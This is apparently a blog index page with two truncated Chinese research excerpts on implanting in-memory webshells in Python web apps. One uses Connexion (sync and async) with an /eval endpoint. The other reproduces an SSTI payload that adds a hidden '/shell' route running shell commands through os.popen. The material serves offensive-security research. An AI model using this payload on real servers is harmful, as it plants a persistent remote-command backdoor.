Connexion API内存马植入研究

一、前言 Connexion 是一个现代 Python Web 框架, 使用 OpenAPI 规范直接驱动 Python Web API 开发,兼容同步(WSGI)和异步(ASGI)场景。本文将通过一个Connexion框架下一个代码执行的例子,探索这2种场景的内存马植入方式。 二、一个简单的Connexion API应用 Connexion API可以通过FlaskApp(同步)和AsyncApp(异步)两种方式创建,通过FlaskApp创建的代码如下: from connexion import FlaskApp app = FlaskApp(__name__) app.add_api('openapi.yml') if __name__ == '__main__': app.run(host='0.0.0.0', port=8888) 或者通过AsyncApp创建(官方推荐): from connexion import AsyncApp app = AsyncApp(__name__) app.add_api('openapi.yml') if __name__ == '__main__': app.run(host='0.0.0.0', port=8888) 启动前需要编写一个openapi.yml来定义API 的结构,包括接口对应的处理方法 openapi: 3.0.0 info: title: Simple Connexion API version: 1.0.0 paths: /eval: post: operationId: api.eval.run requestBody: content: application/x-www-form-urlencoded: schema: type: object required: - data properties: data: type: string responses: '200': description: OK content: text/plain: schema: type: string operationId定义的是api....

2025年04月09日 · 3 分钟 · p0melo

Python Web 内存马多框架植入技术详解

一、前言 内存马作为一种常见的攻击与权限维持手段,往往多见于Java Web应用中,然而在Python Web场景下却并不多见这种攻击。 本文将针对Flask、Tornado与Django三个在日常开发中使用频率较高的框架,探寻在Python Web场景下的内存马种植方法,文中所有场景均为抽象出的理想场景,仅做可行性讨论。 二、Flask 2.1 老版本Flask内存马种植方法 在网上针对Flask内存马的探讨,均在SSTI场景下,并且payload都相同,格式化后payload如下: url_for.__globals__['__builtins__']['eval']( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )", { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } ) 在Flask中所有定义的路由都会使用一个装饰器 app.route,而这个装饰器就是调用了 add_url_rule。 @setupmethod def route(self, rule: str, **options: t.Any) -> t.Callable[[T_route], T_route]: def decorator(f: T_route) -> T_route: endpoint = options.pop("endpoint", None) self.add_url_rule(rule, endpoint, f, **options) return f return decorator 所以在payload中,直接调用了Flask中的 add_url_rule 函数来动态增加一条路由实现内存马。然而在最新版本的Flask中,如果直接使用这个payload会发现将抛出一个异常。 2.2 AssertionError出现原因 在回溯这个异常的时候会发现,这个异常出现在 setupmethod 这个装饰器中的一个校验函数。 def _check_setup_finished(self, f_name: str) -> None: if self._got_first_request: raise AssertionError( f"The setup method '{f_name}' can no longer be called" " on the application....

2024年07月10日 · 5 分钟 · 4uuu